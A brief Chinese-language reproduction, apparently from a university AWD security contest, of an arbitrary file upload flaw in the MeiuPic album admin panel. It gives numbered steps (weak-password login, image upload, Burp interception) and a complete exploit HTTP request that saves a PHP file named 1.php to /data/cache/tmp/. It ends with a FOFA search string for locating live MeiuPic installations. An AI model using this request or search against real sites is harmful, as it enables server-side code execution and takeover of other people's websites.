MeiuPic美优相册后台任意文件上传漏洞-0day复现过程

湖北省大学生信创大赛网络安全赛道-awd赛题

1.弱口令登陆网站后台

2.在相册中的图片管理选择添加图片

3.选择一个图片马上传，点击开始上传，burp抓包

4.burp修改数据包（修改处和修改内容如下）

http://******.com/data/cache/tmp/1.php

EXP：

POST /admin/?app=base&m=upfile&a=uploadprocess HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------297537400521561729203922333825
Content-Length: 575
Origin: http://*****.com
Connection: close
Referer: http://******.com/admin/?app=album&m=upload&aid=&winid=win4723
Cookie: PHPSESSID=7u3oocuig6vf8nfgbn7th2b6ji; MEIU_AUTH=ac57moXw8jxgBzhN2Biv5zC3M5WVUmYcG3xEIa5rJ43mFvHP0UauPmQZK%2BgbMUzBaSiAWrzAZ0a7D4s3iFwL7pQZEA9g

-----------------------------297537400521561729203922333825
Content-Disposition: form-data; name="name"

1.php
-----------------------------297537400521561729203922333825
Content-Disposition: form-data; name="chunk"

0
-----------------------------297537400521561729203922333825
Content-Disposition: form-data; name="chunks"

1
-----------------------------297537400521561729203922333825
Content-Disposition: form-data; name="file"; filename="a.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------297537400521561729203922333825--

fofa："发现-美优相册"